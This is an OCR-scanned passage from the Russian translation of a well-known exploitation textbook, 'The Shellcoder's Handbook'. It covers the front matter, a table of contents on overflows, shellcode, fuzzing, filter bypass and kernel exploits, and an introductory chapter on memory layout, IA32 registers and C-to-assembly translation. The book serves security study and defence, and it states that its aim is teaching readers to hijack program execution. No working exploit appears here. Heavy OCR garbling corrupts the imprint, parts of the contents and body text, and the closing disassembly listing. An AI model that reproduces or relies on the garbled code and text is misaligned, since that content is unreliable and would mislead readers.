Об авторах
Благодарности
Часть I. Эксплуатация уязвимостей Linux на процессорах х86
Глава 2. Переполнение стека
Глава 3. Внедряемый код
Глава 4. Дефекты форматных строк
Глава 5. Переполнение кучи
Часть II. Платформа Windows
Глава 7. Внедряемый код для Windows
Глава 8. Переполнение в Windows
Глава 9. Обход фильтров
Часть III. Выявление уязвимостей
Глава 11. Внесение ошибок
Глава 12. Искусство фаззинга
Глава 13. Анализ исходных текстов на языках семейства С
Глава 14. Инструментальный анализ
Глава 15. Трассировка уязвимостей
Глава 16. Двоичный анализ
Часть IV. Дополнительные материалы
Глава 18. Реальные условия, реальные проблемы
Глава 19. Атаки на СУБД
Глава 20. Переполнение в ядре
Глава 21. Эксплуатация уязвимостей ядра
Алфавитный указатель
Текст
                    The Shellcodervs
Handbook;
Discovering and
Exploiting
Security Holes
Jack Koziol, Dave Aitel,
David Litchfield, Chris Anley,
Sinan "noir" Eren, Neel Mehta,
Riley Hassell
WILEY
Willcy Publishing, Inc.


"ЧДжек КозиопЧДэвид ПичфилдЧДэйв ЭйтэпЧКрис Энпи "ЧСинан ЭренЧНип ПехтаЧРипи Хассепь скусство взлома и защиты систем E%SnnTEP* ©WILEY Москва - Санкт-Петербург ¦ Нижний Новгород ¦ Воронеж Ростов-на-Дону • Екатеринбург • Самара ¦ Новосибирск Киев • Харьков • Минск 2006
Джек Козиол, Дэвид Личфилд, Дэйв Эйтэл, Крис Энли Синан Эрен, Нил Мехта, Рили Хассель Искусство взлома и защиты систем Перевод с английского Е. Матвеева Заведующий редакцией А Кривцов Ведущий редактор В [Прага Литературный редактор А Жданов Художник Е Дьяченко Корректор И Смирнова Верстка Л Харитонов ББК 32.973-018 УДК 004.4 Козиол Дж., Личфилд Д., Эйтэл Д., Энли К. и др. И86 Искусство взлома и защиты систем. — СПб/ Питер, 2006. — 416 с: ил. ISBN 5-469-01233-6 В книге рассмотрены различные типы программного обеспечения: операционные системы, базы данных, интернет-серверы и т. д На множестве примеров показано, как именно находи!ь уязвимости в программном обеспечении. Тема особенно актуальна, гак как в настоящее время в компьютерной индустрии безопасности программного обеспечения уделяется все больше внимания. ©2004 by J Koziol, D Litchfield, D Aitel, С Anley, S Eren, N Mehta, R Hassell © Перевод на русский язык ЗАО Издательский дом «Питер», 2006 © Издание на русском языке, оформление ЗАО Издательский дом «Питер», 2006 Права на издание получены по соглашению с Wiley Все права защищены Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев авторских прав Информация, содержащаяся в данной книге, получена из источников, рассматриваемых издательством как надежные Тем не менее, имея в виду возможные человеческие или технические ошибки, издательство не может гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственности за возможные ошибки связанные с использованием книги ISBN 5-469-01233-6 ISBN 0-7645-4468-3 (англ.) ООО «Пшер Пресс», Санкт-1 leiepoypr, HciepiocjiCKoe шоссе, д 71, лиг А29 11ало1 овая льгот —- общероссийский классификатор продукции ОК 005-91, том 2, 95 1005 — литература учебная Подписано к печати 24 02.06 Формат 70x100/16 Уел п л 41,28 Тираж 2000 Заказ № 728 Отпечатано с готовых диапозитов в ОГУП «Областная типография «Печатный двор» 432049, г Ульяновск, ул Пушкарева, 27
Краткое содержание Об авторах 16 Благодарности 18 Часть I. Эксплуатация уязвимостей Linux на процессорах х86 19 Глава 1. Введение в эксплуатацию уязвимостей 20 Глава 2. Переполнение стека 27 Глава 3. Внедряемый код 47 Глава 4. Дефекты форматных строк 63 Глава 5. Переполнение кучи 87 Часть II. Платформа Windows 97 Глава 6. Дикий мир Windows 98 Глава 7. Внедряемый код для Windows 114 Глава 8. Переполнение в Windows 138 Глава 9. Обход фильтров 181 Часть III. Выявление уязвимостей 195 Глава 10. Формирование рабочей среды 196 Глава 11. Внесение ошибок 210 Глава 12. Искусство фаззинга ??Л Глава 13. Анализ исходных кжсюн \и\ и imki* сгмгиста С 14 I I"л;та М, Итарумгмы линии .ними t ;•(» I
6 Краткое содержании Глава 15. Трассировка уязвимостей 280 Глава 16. Двоичный анализ 301 Часть IV. Дополнительные материалы 320 Глава 17. Альтернативные стратегии 321 Глава 18. Реальные условия, реальные проблемы 342 Глава 19. Атаки на СУБД 351 Глава 20. Переполнение в ядре 368 Глава 21. Эксплуатация уязвимостей ядра 384 Алфавитный указатель 411
Содержание Об авторах 16 От издательства 17 Благодарности 18 Часть I. Эксплуатация уязвимостей Linux на процессорах х86 19 Глава 1. Введение в эксплуатацию уязвимостей 20 Основные концепции 20 Управление памятью 21 Ассемблер 23 Программные конструкции C++ в ассемблере 24 Итоги 26 Глава 2. Переполнение стека 27 Буферы 27 Стек 29 Функции и стек 30 Переполнение буферов в стеке 33 Управление значением EIP ГМ Использование уязвимостей для получения root-привилегий 3(i Проблема адресации 38 Метод NOP 40 Борьба с неисполияемым стеком А'1 Возврат в libc А'Л Итоги /|(> Глава 3. Внедряемый код 47 Системные функции М Написание внедряемого кода для вызова exit() \\) Устранение нуль-символов . \\\\ Напуск командною процессора М I I IOI II . .
8 Содержание Глава 4. Дефекты форматных строк 63 Понятие форматной строки 63 Понятие дефекта форматной строки 65 Использование дефектов форматных строк 68 Аварийное завершение служб 69 Утечка информации 70 Контроль над исполнением 75 Причины дефектов форматных строк 83 Обзор приемов эксплуатации дефектов форматных строк 84 Итоги 86 Глава 5. Переполнение кучи 87 Понятие кучи 87 Функционирование кучи 88 Переполнение кучи 89 Основные принципы переполнения кучи 90 Объекты замены 95 Итоги 96 Часть II. Платформа Windows 97 Глава 6. Дикий мир Windows 98 Различие Windows и Linux 98 API и PE-COFF для Win32 98 Куча 101 Многопоточность 102 Гениальность и глупость концепций DCOM и DCE-RPC 102 Сбор информации 105 Эксплуатация уязвимостей 106 Маркеры и заимствование прав 106 Обработка исключений в Win32 108 Отладчики для Windows ПО Дефекты Win32 110 Написание внедряемого кода для Windows Ill Win32 API для хакера 112 Семейство Windows с точки зрения хакера 112 Итоги 113 Глава 7. Внедряемый код для Windows 114 Синтаксис и фильтры 114 Подготовка 115 Анализ блока РЕВ 116 Файл Heapoverflow.c 117 Поиск с использованием механизма обработки исключений Windows . . . 131 Запуск командного процессора 135 Почему этого делать не следует . . . . 13(> Итоги. . . 137
Содержание 9 Глава 8. Переполнение в Windows 138 Переполнение буфера в стеке 138 Стековые обработчики исключений 139 Манипуляции стековыми обработчиками исключений в Windows 2003 Server 143 Последнее замечание о перезаписи стековых обработчиков 148 Защита стека и Windows 2003 Server 148 Переполнение буфера в куче 154 Куча процесса 154 Динамическая куча 154 Работа с кучей 154 Функционирование кучи 155 Эксплуатация уязвимостей при переполнении кучи 158 Перезапись указателя на RtlEnterCriticalSection в РЕВ 158 Перезапись указателя на первый векторный обработчик по адресу 77FC3210 161 Перезапись указателя иа фильтр необработанных исключений 164 Перезапись указателя на обработчик исключения в блоке ТЕВ 169 Восстановление кучи 170 Другие аспекты переполнения кучи . 172 Несколько слов в завершение 173 Другие варианты переполнения 173 Переполнение секции .data 173 Переполнение блоков ТЕВ и РЕВ 174 Переполнение буфера и неисполпяемые стеки 175 Итоги 180 Глава 9. Обход фильтров ........ 181 Код обхода алфавитно-цифровых фильтров . . . . ,181 Код обхода Unicode-фильтров ,185 Кодировка Unicode. 185 Преобразование из ASCII в Unicode 18(i Эксплуатация уязвимостей кодировки Unicode 187 Допустимый набор команд 187 Венецианский метод. ...... 188 ASCII-реализация венецианского метода 18!) Дешифрирование . WYJ Код дешифрировании . ..... ...... .... ИМ Изменение адреса буфера . . ПI Итоги ! 1!Н Часть III. Выявление уязвимостей 195 Глава 10. Формирование рабочей среды Н)(> ( нраночные материалы . !!)(» ( 'ргде i иа ралраот км |!)/
10 Содержание gcc 197 gdb 197 NASM 197 WinDbg 198 OllyDbg 198 SoftlCE 198 Visual C++ 198 Python 198 Средства анализа 199 Полезные сценарии и утилиты 199 Все платформы 200 Unix 201 Windows 202 Базовые сведения 202 Архивы 204 Оптимизация процесса разработки внедряемого кода 204 Планирование 205 Встроенный ассемблер 205 Библиотеки встроенного кода 206 Корректное продолжение 207 Стабильность 208 Перехват подключения 208 Итоги 209 Глава 11. Внесение ошибок 210 Архитектура 211 Генератор входных данных 211 Внесение ошибок 214 Механизм модификации 215 Передача ошибок 219 Алгоритм Нейгла 220 Временные характеристики 220 Эвристика 220 Протоколы с поддержкой и без поддержки состояния 220 Мониторинг ошибок 221 Отладчик 221 Программа FaultMon 221 Все вместе 222 Итоги 223 Глава 12. Искусство фаззинга 224 Общая теория фаззинга 224 Статический анализ и фаззинг 227 Масштабируемость фаззинга 228 Недостатки фаззеров 229 Моделирование произвольных сетевых протоколов 2'М) Другие возможности фаззинга . . 2'М
Содержание 11 Переключение битов 231 Модификация программ с открытыми исходными текстами 231 Фаззинг с динамическим анализом 232 Программа SPIKE 232 Копилка 232 Моделирование сетевых протоколов с помощью структуры данных SPIKE 233 Фаззеры SPIKE 234 Пример использования фаззера SPIKE 234 Другие фаззеры 240 Итоги 240 Глава 13. Анализ исходных текстов на языках семейства С .... 241 Инструменты 242 Cscope 242 Ctags 242 Редакторы 243 Cbrowser 243 Средства автоматического анализа исходных текстов 243 Методология 244 Нисходящий анализ - 244 Восходящий анализ 245 Избирательный анализ 245 Классы уязвимостей 245 Общие логические ошибки 246 Пережитки прошлого 246 Форматные строки 247 Общие ошибки проверки границ 248 Циклические конструкции 249 Уязвимости единичного смещения * 249 Ошибки некорректного завершения строк 251 Пропуск завершителя 251 Уязвимости знакового сравнения 252 Целочисленное переполнение 253 Преобразование целых чисел с разной разрядностью 255 Повторное освобождение памяти 'Аг>(> Использование памяти вне области видимости 'JWI Использование неинициализированных переменных 'MY/ Использование памяти после освобождения 'ЛГ>М Проблемы многопоточности и реентерабельности 2.'»!) Дефекты и реальные уязвимости !>.'>!) Итоги 'Ш Глава 14. Инструментальный анализ ?(Н Философия. . . ... '.МП 11ерепочпепне принес <м е\(|)!()с п ()t;iele '.Mi'* Типичные арчи leu i vpiibK* лефек I ы ',Mi'i
12 Содержании Пограничные проблемы 265 Проблемы преобразования данных 267 Проблемы мест дисбаланса 269 Проблемы различия между аутентификацией и авторизацией 269 Проблемы в самых очевидных местах 270 Обход процедур проверки входных данных и обнаружения атак 270 Удаление недопустимых данных 270 Использование альтернативных кодировок . 271 Файловые операции 271 Обход сигнатур обнаружения атак . 273 Борьба с ограничениями длины 274 Дефект SNMP-демона DOS в Windows 2000 276 Обнаружение DOS-атак 276 Дефект SQL-UDP 277 Итоги 278 Глава 15. Трассировка уязвимостей . , 280 Общие сведения 281 Уязвимая программа 281 Основные компоненты 284 Внедрение в адресное пространство процесса 284 Анализ машинного кода . . . 285 Перехватчики 288 Сбор данных 291 Разработка VulnTrace 291 VTInject 291 Программа VulnTrace , , 296 Дополнительные приемы трассировки 299 Сигнатурный поиск 299 Другие классы уязвимостей 300 Итоги 300 Глава 16. Двоичный анализ 301 Очевидные различия двух видов анализа . . . 301 IDA Pro — лучший инструмент 302 Краткий обзор возможностей IDA Pro 302 Отладочные символические имена 303 Введение в двоичный анализ 304 Стековый кадр . . . , 304 Конвенции вызова 306 Компиляторны г* конструкции . 307 Аналоги функции memepy ... 310 Аналоги функции si rlen .... . . . . . . , . . 311 Конструкции C++ 311 Указатель this 312 Реконструкция определений классов . 312 Таблицы виртуальных функций 31,3
Содержание 13 Полезные факты 313 Ручные методы двоичного анализа 314 Просмотр библиотечных вызовов 314 Подозрительные циклы и команды записи 314 Анализ на более высоком уровне и логические ошибки 315 Графический анализ двоичных файлов 315 Ручная декомпиляция 316 Примеры двоичных уязвимостей 316 Дефекты Microsoft SQL Server 316 Уязвимость LSD RPC-DCOM 317 Уязвимость IIS WebDAV 318 Итоги 319 Часть IV. Дополнительные материалы 320 Глава 17. Альтернативные стратегии 321 Модификация программы 322 3-байтовая модификация SQL Server 322 1-битовая модификация MySQL 326 Аутентификация OpenSSH RSA 327 Другие стратегии модификации кода на стадии выполнения 328 Модификация CPG 1.2.2 330 Загрузка и запуск (проглет-сервер) 330 Опосредованный вызов системных функций 331 Проблемы опосредованного вызова 333 Итоги 341 Глава 18. Реальные условия, реальные проблемы 342 Факторы ненадежности 342 Волшебные числа 342 Версии 343 Проблемы с внедряемым кодом 344 Контрмеры 34 Г> Подготовка 34 (> Метод «грубой силы» 347 Локальные решения ,34/ Идентификация ОС и приложения 31Н Утечки информации 31!) Итоги. ЗМ) Глава 19. Атаки на СУБД . . . . 351 Атаки опитого у^^ня. 'М)У Атаки прикладного уровня . . 'М\\ Выполнение команд операционной системы . .'КИ Minosoft SQL Server 'М\\ ()i;iele . . ... Ж* ibm пв:> u,i
14 Содержание Атаки на уровне SQL 365 SQL-функции 365 Итоги 367 Глава 20. Переполнение в ядре 368 Типы уязвимостей ядра 368 Переполнение буфера в стеке ядра OpenBSD 369 Перезапись памяти ядра в OpenBSD 371 Утечка информации из памяти ядра в FreeBSD 372 Уязвимость priocntl() в Solaris 374 Новые уязвимости ядра 376 Переполнение в функции exec_ibcs2__coff_prep_zmagic() ядра OpenBSD 376 Уязвимость перебора загружаемых модулей ядра vfs_getvfssw() в Solaris 381 Итоги 383 Глава 21. Эксплуатация уязвимостей ядра 384 Уязвимость exec_ibcs2_coff_prep_zmagic() 384 Вычисление смещений и контрольных точек 389 Замена адреса возврата и перехват управления 390 Получение дескриптора процесса 391 Создание внедряемого кода режима ядра 393 Возврат из режима ядра 394 Получение root-привилегий (uid=0) 399 Уязвимость загрузки модулей ядра vfs_getvfssw() 405 Разработка кода 405 Загружаемый модуль ядра 406 Получение root-привилегий (uid=0) 410 Итоги 410 Алфавитный указатель 411
Посвящается всем и каждому, кто понимает, что хакерство и обретение новых знаний — это образ жизни, а не задание на дом и не список готовых инструкций из этой толстой книжки
Об авторах Джек Козиол, основной автор книги, работает старшим преподавателем и руководителем программ компьютерной безопасности в институте InfoSec. Б>о регулярно приглашают для подготовки персонала в разведке, вооруженных силах и органах правопорядка США. Кроме того, Джек проводит обучение во многих крупнейших компаниях, включая Microsoft, HP и Citibank, в области защиты сетей и приложений. В свободное время от проведения учебных семинаров Джек занимается испытаниями на проникновение в системы и анализом безопасности приложений для многочисленных клиентов. Он обладает многолетним опытом выявления и эксплуатации уязвимостсй — как по заказам клиентов, так и по собственной инициативе. Козиол также является автором «Intrusion Detection with Snort», одной из самых популярных книг в области безопасности B003) Книга была переведена на несколько языков, включая французский и японский, и получила высокие оценки в журналах Linux Journal, Slashdot и Information Security. Джек выступал в USA Today, CNN, MSNBC, First Business и других средствах массовой информации по вопросам информационной безопасности. Он живет в Оук-ГТарк, штат Иллинойс, неподалеку от дома и студии Фрэнка Ллойда Райта, со своей подругой Трейси и собакой Квази. Дэвид Личфилд, один из ведущих мировых специалистов в области компьютерной безопасности, является одним из пяти основателей NGSSoftware. Дэвид обнаружил и опубликовал более 100 серьезных дефектов безопасности в разных продуктах, включая Apache, Microsoft Internet Infoimatioii Server, Oracle a Microsoft SQL Server. Благодаря огромному опьпу в области защшы и взлома сетей и приложений Дэвид постоянно веде г семинары на конференциях Black Hat Briefings. Также является основным автором книги «SQL Security» (издательство Osborne/McGraw-Hiii) Дэйв Айтел — автор паке га SPIKE и основатель компании «Immunity, Inc.», занимающейся безопасностью в Иыфп' ie. Его раби/а связана - лчспл^атадиеп >язвпмостей на nviaiформах vVnidow:. и Unix и разработкой меюдолошй поиска новых уязвпмостей. Крис Анли возглавляет Next Generation Security Soitware - расположенную e Великобритании компанию, копе улыацп;*мп, анализом и разработкой про граммного обеспечения в области безопасности. Крпе акшвно занимаем я но иском уязвпмостей, он я»пяе1ся автором ряда официальных аокумгпнж и < \.\
От издательства 17 тей по безопасности ряда продуктов, включая PGP, Windows, SQL Server и Oracle. Его свободное время равномерно распределяется между анализом, программированием и консультациями. Синан Эрен, аналитик в области компьютерной безопасности, провел обширную работу по эксплуатации уязвимостей Unix и разработке нетривиальных методологий использования дефектов уровня ядра; обнаружил множество серьезных дефектов в коммерческих и бесплатных программах Unix. Нил Мехта занимается анализом безопасности приложений в ISS X-Force. Как и многие специалисты в области безопасности, раньше занимался инженерным анализом и реконструкцией кода. Получил богатый практический опыт, занимаясь консультациями в области защиты от копирования, но в последнее время его основным профилем деятельности стала безопасность приложений. Нил провел обширные исследования в области анализа двоичных файлов и исходных текстов, применяя полученные знания для выявления многочисленных уязвимостей в широко распространенных сетевых приложениях. Райли Хассел, старший инженер в еЕуе Digital Security, отвечает за разработку и реализацию систем контроля качества и аналитического инструментария. Также обнаружил ряд известных уязвимостей, опубликованных еЕуе Digital Security. От издательства Ваши замечания, предложения и вопросы отправляйте по адресу электронной почты comp@piter.com (издательство «Питер», компьютерная редакция). Мы будем рады узнать ваше мнение! Все исходные тексты, приведенные в книге, вы можете найти по адресу http:// www, piter.com/download. Подробную информацию о наших книгах вы найдете на веб-сайте издательства: http://www.piter.com.
Благодарности Прежде всего я хочу поблагодарить всех, без кого написание этой книги было бы невозможным. Благодарю своих соавторов Дэйва, Синана, Криса, Нила, Дэвида и Райли за усердную работу и самоотверженность. Спасибо работникам издательства Wiley Publishing и Кэрол Лонг (Carol Long), а также Адаоби Оби Талтон (Adaobi Obi Tulton) — лучшему выпускающему редактору и руководителю проекта, о которых только может мечтать автор. Еще я хочу поблагодарить своих родителей, Джеффа и Арлен, брата Чарли и остальных членов семьи: Бекеров, Козелов, Нольднеров, Джейкобсонов и Спрейтцеров, а также моих друзей: Хоффманов, Голаса, DJ, Даррена, Райана, Яна и Квази. Спасибо Трейси за то, что она терпела мое отсутствие во время работы над книгой. Ты — любовь всей моей жизни! Джек Козиол Спасибо вам всем: Джастин Боун (Justine Bone); Одед Горовиц (Oded Horowitz); Синан Эрен (Sinan Eren); Джереми Джетро (Jeremy Jethro); Адам; Шейн; участники канала #convers, предоставлявшие поддержку, дружеское общение и вдохновение; а еще я благодарен интернет-группе комиков GOBBLES, чьи советы помогали мне не воспринимать самого себя слишком серьезно. Дэйв Эйтел Посвящается Виктории. Я люблю ее больше, чем можно выразить словами. Крис Лили Хочу поблагодарить Канан Зинниоглу (Canan Zihnioglu) и Мехмета Али Эрена (Mehmet Ali Eren) за поддержку и содействие во всем, что я пытаюсь сделать, узнать или добиться в жизни; за их любовь и дружбу; за то, что они — лучшие родители во всем мире. Я также благодарен Асли Орс (Asli Ors) за то, что она стала лучшей половиной моей души и разума. Спасибо Одед Горовиц, Дэйву Эй- телу, участникам #convers, nahual и Джеку Козиолу за замечательное общение. Сипаи Эреи Я благодарен аналитическому отделу еЕуе за потрясающие разработки и за долгие годы сотрудничества. Без содействия его работников многое из моих исследований не привело бы ни к чему. Хочу особо поблагодарить следующих коллег: Дерек Содер (Derek Soeder), Барнаби Джек (Barnaby Jack), Райан Пер- ме (Ryan Permeh), Дрю Копли (Drew Copley), Юги Юкай (Yugi Yukai) и Марк Майфре (Mark Maiifret). Но больше всего я благодарен Келли. Ты нее, о чем я мечтал в этой жизни. Спасибо тебе за любовь и поддержку, где бы i ы ни бы п.\ Pa mm Xat < гчч
Часть I Эксплуатация уязвимостей Linux на процессорах х86 В первой части книги читатель познакомится с выявлением и эксплуатацией уязвимостей. Материал подобран так, чтобы вместе с различными вымышленными программными структурами, разработанными специально для этой кии- 1п, вы учились эксплуатировать и реальные уязвимости. Тема эксплуатации уязвимостей будет рассматриваться в контексте работы Linux па 32-разрядных процессорах Intel (IA32 или х86). В связке Linux/IA32 иыяиление и эксплуатация уязвимостей проста и прямолинейна, поэтому хорошо подходит для изучения. Кроме того, благодаря неизменным внутренними < ipvKiypaM, с точки зрения хакера платформа Linux сложной не выглядит. koiyia читатель усвоит представленные концепции и поработает с примерами iipoi рамм, мы будем постепенно переходить к более сложным сценариям выяв- 1ГППЯ и эксплуатации уязвимое]ей. В главе 2 рассматривается переполнение < icK.i, н гчане 3 - методы внедрения внешнего кода, в главе 4 — переполнение фирм.иных строк, наконец, глава 5 посвящена тому, как использовать перепол- ш'ниг к учи на плач форме Linux.
ГЛАВА 1 Введение в эксплуатацию уязвимостей В настоящей главе изложены концепции, необходимые для понимания остальной части книги. Материал в основном имеет вводный характер; хочется верить, что все сказанное и так известно читателю. В этой главе мы ни в коем случае не пытаемся изложить все, что необходимо знать по данной теме. Скорее, эта глава служит отправной точкой для перехода к следующим главам. Прочитайте эту главу просто для того, чтобы немного освежить память. Если какие-то концепции покажутся совершенно новыми, отметьте их особо — по этим темам следует почитать дополнительную литературу, прежде чем двигаться дальше. Основные концепции Чтобы понять материал книги, читатель должен прилично разбираться в области языков программирования, операционных систем и архитектур. Если вы не знаете, как работает устройство, вам будет сложно попять, что оно работает неправильно. Это правило относится и к компьютерам, и к выявлению брешей в защите, и к работе в условиях этих брешей. Но прежде чем изучать концепции, необходимо научиться говорить на правильном языке. Вы должны знать некоторые определения и термины из лексикона специалистов по безопасности систем. о Уязвимость. Слабое место в сфере безопасности системы, из-за которого нападающий может использовать систему способом, не предусмотренным ее разработчиком. В частности, это может быть ухудшение работоспособности системы, повышение привилегий доступа до нежелательного уровня, получение полного контроля над системой для неуполномоченной стороны, и т. д. Также применяются к-фмины брешь в защите и дефект (баг) безопас части. о Эксплуатировать уязвимость. Использовать уязвимость таким образом, ч го целевая система начинает вести себя не так, как предполагал ее разрабшчпк с Эктюйт (exploit) Vrr-iina, набор команд чаи программны!! коч, найму) тирующий уязвимость
Основные концепции 21 о Фаззииг (fuzzing). Действия по выявлению уязвимостей. о Фаззер (fuzzer). Утилита или приложение, передающее системе непредусмотренные входные данные, пытаясь выявить в ней уязвимости, которые позднее можно было бы эксплуатировать, даже не обладая полной информацией о внутреннем устройстве системы. Управление памятью Для усвоения материала книги необходимо разбираться в современных схемах управления памятью, особенно для 32-разрядной архитектуры Intel (IA32). Вся первая часть книги будет посвящена системе Linux на процессорах IA32. Читатель должен понимать, как организовано управление памятью, потому что большинство дефектов безопасности, описанных в книге, основаны на перезаписи, или переполнении, то есть выходе содержимого одной области памяти за положенные границы и его переходе в другую область памяти. Во время исполнения программа определенным образом структурируется в памяти; разные элементы программы отображаются на разные области памяти. Сначала операционная система создает адресное пространство, в котором будет работать программа. В адресном пространстве находится как программный код (команды), так и данные, обрабатываемые программой. ПРИМЕЧАНИЕ — В современных компьютерах не существует четких различий между командами и данными. Если вам удастся подсунуть процессору команды там, где должны находиться данные, то процессор эти команды выполнит. Именно это обстоятельство делает возможной эксплуатацию дефектов безопасности систем. В сущности, в этой книге мы научим вас вставлять команды туда, где по предположению разработчика системы должны находиться данные. Кроме того концепция переполнения будет использоваться для замены команд разработчика нашими собственными командами. Цель — взять исполнение программы под свой контроль. Затем в созданное адресное пространство загружается информация из исполняемого файла программы. Существуют три типа сегментов: ,text, ,bss и .data Сегменты .text отображаются на память как доступные только для чтения, то i да как сегменты .data и ,bss допускают запись. Сегменты bss и .data резервиру so гея для глобальны д переменных. Сегмент .data содержит статические ипицпа ипированиые данные, а сегмент .bss — неинициализированные данные. По < медпяя разновидность сегментов, .texc, содержит команды программы. ,/la/iee происходит ишщиализация стека (stack) и кучи (heap). Стеком пазыв.» ' и'з структура данных, которая также часто обозначается сокращением LIl'O (Last Id, First Out - последним пришел, первым вышел); это означаем что ,>ле мпи данных, который был последним занесен в стек, первым извлекаема п.< < 1ска Структуры LIFO идеально подходят для временной информации, кок» 1>.1Я не фебуег особо длительного хранения В стеках обычно храни ioi .мок.пи. мне переменные4, данные передачи управления при вызове функции и прпч.ш
22 Глава 1. Введение в эксплуатацию уязвимостей информация, которая используется для очистки стека после завершения вызова функции. Другая важная особенность стека заключается в том, что он распространяется вниз по адресному пространству; занесение новых данных в стек сопровождается уменьшением назначаемых этим данным адресов. Кучей называется другая структура данных, используемая для хранения информации программы, а конкретнее — динамических переменных. Куча относится к структурам данных категории FIFO (First In, First Out — первым пришел, первым вышел). Куча распространяется вверх по адресному пространству; новым данным, добавляемым в кучу, присваиваются более высокие адреса, как показано на рис. 1.1. Указатель на окружение, argc стек куча .bss .text Общие библиотеки OxBFFFFFFF «Старшие адреса» 0x8000000 «Младшие адреса» Рис. 1.1. Структура адресного пространства Чтобы в полной степени понять (и что еще важнее — применить на практике) материал настоящей книги, читатель должен понимать механизмы управления памятью на гораздо более глубоком, детализированном уровне. Некоторые ресурсы, посвященные управлению памятью, представлены в первой половине главы 10. Также стоит заглянуть на сайт http://linux-mm.org/ за более подробной информацией но управлению памятью в Linux. Хорошее понимание принципов работы с памятью поможет вам лучше овладеть ассемблером языком программировании, который используется дня манипуляции с пей
Основные концепции 23 Ассемблер Чтобы усвоить большую часть материала, абсолютно необходимо знание языка ассемблер для IA32. Выявление уязвимостей по большей части связано с поиском и анализом ассемблерного кода, и основная часть книги сосредоточена на ассемблере для 32-разрядных процессоров Intel. Эксплуатация дефектов безопасности требует глубокого знания ассемблера, так как в большинстве случаев она связана с написанием ассемблерного кода (или модификацией существующего кода). Другие, помимо IA32, системы тоже играют важную роль (хотя с эксплуатацией дефектов безопасности в них дело обстоит сложнее), поэтому в книге уделено внимание и процессорам других семейств. Если вы собираетесь заниматься исследованиями в области безопасности на других платформах, очень важно, чтобы вы хорошо разбирались в ассемблере, специфическом для вашей архитектуры. Если вы слабо знаете ассемблер или вообще не имели с ним дела, начните с изучения систем счисления (причем одну — десятичную — вы уже знаете), размеров данных различных типов и представления чисел со знаком. Соответствующий материал можно найти в большинстве книг по компьютерной архитектуре для начальных курсов института. Регистры Регистры представляют собой ячейки памяти, обычно напрямую подключенные к электронным компонентам для повышения быстродействия. Регистры отвечают за выполнение операций, заложенных в основу функционирования современных компьютеров, а для работы с ними применяются ассемблерные команды. Ассемблер позволяет обращаться к регистрам, читать их содержимое и изменять его. Регистры делятся на четыре категории: о регистры общего назначения; о сегментные регистры; о управляющие регистры; о прочие регистры. Регистры общего назначения предназначены для выполнения различных мак* магических операций общего плана. К этой категории в IA32 относятся такие регистры, как ЕАХ, ЕВХ и ЕСХ. Регистры общего назначения используются для хранения данных и адресов, смещений, счетчиков и т. д. Среди регистров общего назначения стоит особо выделить регистр ESP (Г,х (ended Stack Pointer — расширенный указатель стека). Этот регистр ссылается п.) адрес памяти, по которому будет выполнена следующая операция со стеком Дчя понимания методики переполнения стека, представленной в следующей i 'мне, необходимо хорошо понимать, как регистр ESP используется стандарты ми ассемблерными командами и как он связан с хранящимися в с геке данными < чедующую категорию регистров образуют сегментные регистры, предка.mi.i чеши.ie дм я хранения адрс< on сегмеп иж нам я i и \\ ш чпчне <ч ,/i|>\ i \\\ i>ei in пит
24 Глава 1. Введение в эксплуатацию уязвимостей процессора IA32, сегментные регистры, такие как CS, DS и SS, являются 16-разрядными (тогда как другие регистры 32-разрядные); тем самым обеспечивается их совместимость с 16-разрядными приложениями. Управляющие регистры управляют работой процессора. Самым важным из них на процессорах IA32 является регистр EIP (Extended Instruction Pointer — расширенный указатель команд). Этот регистр содержит адрес следующей машинной команды, которая будет выполнена процессором. Естественно, если мы хотим контролировать ход выполнения программы (что, собственно, и является темой настоящей книги), необходимо уметь обращаться к регистру EIP и изменять хранящееся в нем значение. К категории прочих относятся регистры, не принадлежащие ни к одной из первых трех категорий. В одном из них, в регистре EFLAGS (Extended Flags - расширенный регистр флагов), объединены несколько одноразрядных регистров, в которых хранятся результаты различных проверок, выполняемых процессором. Программные конструкции C++ в ассемблере Язык С и его потомки C++ и С# образуют одно из самых распространенных (а скорее всего, самое распространенное) семейство языков программирования. Бесспорно, С является самым популярным языком разработки серверных приложений для Windows и Unix, которые являются хорошими объектами для выявления уязвимостей. По этим причинам очень важно хорошо разбираться в С. Наряду с общим знанием синтаксиса С необходимо понимать, как откомпилированный код С преобразуется в машинные команды. Если вы будете понимать, как переменные, указатели, функции и механизмы выделения памяти языка С представляются на ассемблерном уровне, вам будет гораздо проще разобраться в представленном материале. Давайте возьмем некоторые стандартные конструкции C++ и посмотрим, как они выглядят на ассемблере. Начнем с объявления целой переменной в C++ и ее использовании для подсчета: irrc number, код . . number++, Эта конструкция преобразуется в следующий ассемблерный фрагмент: number dw О КОД mov eax,питоег inc eax mov number,eax Директива DW (Define Word — определение слова) определяет значение ячейки памяти, в которой хранится целое число number. Затем значение помешается в регистр ЕАХ, увеличивается на 1, после чего снова возвращается и ячейку niimhpr
Программные конструкции C++ в ассемблере 25 Перейдем к простой команде if в C++: int number, if (number<0) { ... код ... } На ассемблере эта же команда выглядит так: number dw О mov eax,number or eax,eax jge label <нет> label .<да> В данном случае мы снова выделяем ячейку памяти для number командой DW. Значение, хранящееся в number, загружается в ЕАХ, после чего мы переходим к label, если значение number больше либо равно нулю, командой JGE Qump if Greater or Equal — переход, если больше или равно). В следующем примере используется массив: int аггау[4]. . .код.. аггау[2]=9, Мы объявляем массив array и присваиваем его элементу значение 9. На ассемблере это выглядит так: array dw 0,0,0,0 ...код... mov ebx,2 mov array[ebx],9 После объявления массива регистр ЕВХ используется для присваивания значения его элементу. Напоследок рассмотрим более сложный пример. Следующий фрагмент кода показывает, как функция С преобразуется на ассемблер. Если вы легко разберетесь в этом коде, вероятно, вы готовы к чтению следующей главы. int triangle (int width, int height){ int array[5] = {0.1.2.3.4}: int area: area - width * height/2, return (area): Л вот как выглядит та же функция в дизассемблированной форме (мредпаи./и мы выходные данные gdb): 0x8048430 <triangle> push Uebp 0x8048431 <tnangle+l> mov Uesp, Uebp 0x8048433 <tnangle+3> push %edi 0x8048434 <trianqle*4> push tei 0x80/UM3S «Мп.шчЬч'. sut) $0x30До-,р (МНИМО! • 11-1.iih111• • M h\i 0x1 I I I I IdMUrhp). T.imI i
